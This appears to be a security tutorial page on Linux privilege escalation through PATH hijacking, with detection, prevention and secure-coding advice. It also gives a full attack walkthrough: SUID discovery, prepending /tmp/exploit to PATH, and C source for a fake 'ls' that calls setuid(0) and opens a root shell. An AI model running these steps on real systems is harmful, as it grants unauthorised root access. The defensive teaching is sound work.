Privilege Escalation via PATH Variable Manipulation (Conceptual Overview)
PATH environment variable determines where the shell looks for executable programs. When privileged programs call external commands without absolute paths, attackers can hijack execution by manipulating PATH to point to malicious binaries.
π£οΈ What is the PATH Environment Variable?
PATH is a colon-separated list of directories that the shell searches when executing commands.
For example: /usr/local/bin:/usr/bin:/bin
When you type a command like ls, the shell searches each PATH directory in order
until it finds an executable named "ls".
π§ How PATH-Based Escalation Happens (High-Level)
- β A privileged program calls external commands without absolute paths
- β Attacker modifies PATH to include a writable directory
- β Attacker places malicious binary with same name as expected command
- β Privileged program executes malicious binary instead of legitimate one
- β Malicious binary runs with elevated privileges
π₯ Why PATH Manipulation Is Dangerous
- β Bypasses standard permission checks
- β Exploits legitimate system behavior
- β Difficult to detect in logs
- β Can escalate from low to high privileges
π Real-World Example (Defensive View)
A custom SUID program written in C uses system("ls -la") instead of
system("/bin/ls -la").
An attacker modifies PATH, creates a malicious "ls" binary in their directory, and when the SUID program runs, it executes the attacker's code with root privileges.
π― Common Vulnerable Patterns
- β Using
system()calls without absolute paths - β
popen()orexecvp()with relative paths - β Shell scripts running with elevated privileges
- β Cron jobs that execute user-controlled programs
π Detecting PATH Vulnerabilities
- β Audit SUID/SGID programs for external command calls
- β Search for
system(),popen()calls in source code - β Monitor for PATH variable changes in privileged contexts
- β Review shell scripts running with elevated privileges
π‘οΈ Preventing PATH-Based Escalation
- β Always use absolute paths in privileged programs
- β Sanitize environment variables in SUID programs
- β Use
execve()with explicit PATH instead ofsystem() - β Implement secure coding practices
- β Regularly audit system binaries and scripts
π§Ύ Key Takeaways
- β PATH determines where shell looks for executables
- β Privileged programs must use absolute paths
- β
system()calls are particularly dangerous - β Defense requires secure coding and regular audits
π PATH Privilege Escalation β Command Awareness
Common commands observed during PATH security audits and investigations. Shown for defensive awareness and educational purposes only.
π Initial System Reconnaissance
-
Check current user identity
Why used: Verify current user privileges and group memberships.id -
View current PATH variable
Why used: Examine current PATH configuration and directory order. Example output:echo $PATH/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games -
Find SUID binaries
Why used: Identify programs that run with elevated privileges.find / -type f -perm -4000 2>/dev/null
π£οΈ PATH Analysis & Writable Directories
-
Check PATH directories for writable access
Why used: Identify writable directories in PATH that could be hijacked.echo $PATH | tr ":" "\n" | xargs -I {} ls -ld {} -
Find all writable directories
Why used: Discover directories where malicious binaries could be placed.find / -writable -type d 2>/dev/null | head -20 -
Check for world-writable directories in PATH
Why used: Identify directories with dangerous permissions in PATH.for dir in $(echo $PATH | tr ":" " "); do find "$dir" -type d -perm -0002 2>/dev/null; done
π¬ Vulnerable Program Analysis
-
Check SUID binary dependencies
Why used: Examine shared library dependencies that might indicate external calls.ldd /path/to/suid_binary -
Search for external command calls in binaries
Why used: Identify potential calls to external programs.strings /path/to/suid_binary | grep -E "(system|popen|exec|fork)" -
Check for shell usage in scripts
Why used: Find scripts that might be vulnerable to PATH manipulation.grep -r "system\|popen\|exec" /usr/local/bin/ 2>/dev/null
β‘ PATH Manipulation Techniques (High Risk)
-
Create a writable directory for testing
Why used: Prepare directory for test binaries.mkdir /tmp/exploit -
Prepend writable directory to PATH
Why used: Make shell check malicious directory first for executables.export PATH=/tmp/exploit:$PATH -
Verify PATH modification
Why used: Confirm PATH has been successfully modified.echo $PATH -
Check if SUID program calls external commands
Why used: Trace system calls to identify external command execution.strace /path/to/suid_program 2>&1 | grep -i "exec"
π Malicious Binary Creation (Maximum Risk)
-
Example: Create a simple malicious binary in C
Why used: Create source code for a malicious binary that escalates privileges. This is for educational understanding of attack patterns.cat > /tmp/exploit/ls.c << 'EOF' #include#include #include int main() { setuid(0); system("/bin/bash"); return 0; } EOF -
Compile the malicious binary
Why used: Compile the source into an executable.gcc /tmp/exploit/ls.c -o /tmp/exploit/ls -
Make binary executable
Why used: Set execute permissions on the malicious binary.chmod +x /tmp/exploit/ls -
Verify binary creation
Why used: Confirm malicious binary exists in PATH directory.ls -la /tmp/exploit/
π§ͺ Testing & Verification Commands
-
Test which binary would be executed
Why used: Verify which "ls" binary the shell would execute based on current PATH.which ls -
Check command resolution
Why used: Shell built-in to show how a command would be interpreted.type ls -
Run a test command to verify PATH order
Why used: Test which binary actually gets executed.ls --version 2>&1 | head -1
π§Ή Cleanup & Secure Environment
-
Restore original PATH
Why used: Restore system default PATH after testing.export PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin -
Remove test files
Why used: Clean up test directories and files.rm -rf /tmp/exploit -
Verify clean environment
Why used: Confirm system is back to secure state.echo $PATH && which ls
π‘οΈ Defensive PATH Security Commands
-
Check for SUID programs calling system()
Why used: Identify SUID binaries that might be vulnerable to PATH attacks.for i in $(find / -type f -perm -4000 2>/dev/null); do strings "$i" | grep -q "system" && echo "$i"; done -
Audit cron jobs for PATH issues
Why used: Check cron jobs that might have PATH security issues.grep -r "PATH" /etc/cron* 2>/dev/null -
Check shell configuration files
Why used: Review system-wide PATH configurations.grep -r "PATH=" /etc/profile /etc/bash.bashrc /etc/environment 2>/dev/null -
Monitor for PATH changes
Why used: Check running shells that might have modified environments.ps aux | grep -E "(bash|sh)" | grep -v grep
π» Secure Coding Examples
-
Secure C code using absolute path
Why used: Demonstrate secure vs vulnerable coding patterns.// SECURE: Using absolute path system("/bin/ls -la"); // VULNERABLE: Relying on PATH system("ls -la"); -
Secure alternative using execve()
Why used: Show more secure method that doesn't use shell at all.// MORE SECURE: Using execve with explicit environment char *args[] = {"/bin/ls", "-la", NULL}; char *env[] = {NULL}; execve("/bin/ls", args, env);
π Monitoring & Auditing Tools
-
Auditd rule for PATH monitoring
Why used: Audit rule to monitor program execution.-a always,exit -F arch=b64 -S execve -k exec_monitor -
Check for unusual PATH in processes
Why used: Find processes with suspicious PATH configurations.ps eww -o pid,cmd | grep -E "PATH=.*tmp|PATH=.*home"
π Security References
-
OWASP - Command Injection
https://owasp.org/www-community/attacks/Command_Injection -
Secure Coding Practices
https://wiki.sei.cmu.edu/confluence/display/c/SEI+CERT+C+Coding+Standard
π‘οΈ Defender Takeaways
- β Audit SUID/SGID programs for external command calls
- β Ensure privileged programs use absolute paths
- β Monitor for PATH environment modifications
- β Implement secure coding standards
- β Regular security assessments of custom binaries
- β Use static analysis tools to detect vulnerable patterns